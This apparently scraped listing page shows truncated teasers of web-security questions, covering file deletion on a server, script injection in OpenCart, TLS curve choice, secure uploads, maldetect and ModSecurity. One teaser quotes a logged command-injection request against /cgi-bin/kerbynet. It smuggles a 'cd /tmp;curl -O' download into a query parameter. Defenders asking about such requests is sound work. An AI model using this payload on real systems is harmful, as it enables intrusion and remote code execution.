Collaborate Disseminate
We have a website, and yesterday we noticed that the index.php file was deleted in the server, and instead added the index.html. We know for sure that the problem is not in the server, I mean that they didn’t hack the server, and I would l… Continue reading What type of attacks can the file be uploaded to the server? [closed]
We have a website, and yesterday we noticed that the index.php file was deleted in the server, and instead added the index.html. We know for sure that the problem is not in the server, I mean that they didn’t hack the server, and I would l… Continue reading What type of attacks can the file be uploaded to the server? [closed]
This is about a PHP7.4 based shopping platform (opencart (v3.0)).
For testing purposes I had a dummy set up at site.com/xyz. The admin page of that was site.com/xyz/admin. The login and pw for the admin page was also admin. I know, but the… Continue reading How to trace script injection/infection in php app
We’re hosting a web site where the server processes a stream of images, generating a unique ID (uuid) for each new picture and storing various data against the ID in a MySQL database. The site is monitored through a protected dynamic (AJAX… Continue reading How are hidden private URLs being "leaked" to third parties?
I found that secp384r1 is supported in almost all web browsers and it is considered secure.
My question is:
Is it okay if i use only secp384r1 and up named groups?
Are there any disadvantages considering that the server is only accessible … Continue reading Is using only secp384r1 and up named groups considered okay?
I have a lengthy HTML form with around 20-26 file uploads required and some of them are even multiple. I am really concerned about how secure it is. I would really like to have some secure solution to it.
I am using phpmailer for my projec… Continue reading Handling file uploads securely in phpmailer/php
In the past I have used two methods for securing files for web apps.
Put them outside of webroot (which is usually {www || http}/app). So files would usually be stored outside apache altogether.
OR
Restrict access within my .htaccess fi… Continue reading Apache Settings to Secure Files
Recently I got a very odd request to my website. This is from the log file:
20.42.89.182 – – [12/Aug/2020:18:48:13 -0400] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F… Continue reading Very Strange Access Request to my website
I received a notice from maldetect on an Apache machine I’m running, and I’ve not seen an advice like this before. I’d like to get a better understanding of exactly what I am looking at. I received the following email from the system:
H… Continue reading Explanation for maldetect advice
I have a fresh installation of CentOS 8. I installed Apache 2.4.37 from the repo. Then installed the latest ModSecurity:
dnf install mod_security -y
Checked the installation
dnf info mod_security
Result:
Name : mod_security
Versi… Continue reading ModSecurity won’t apply rules – no error log entries [migrated]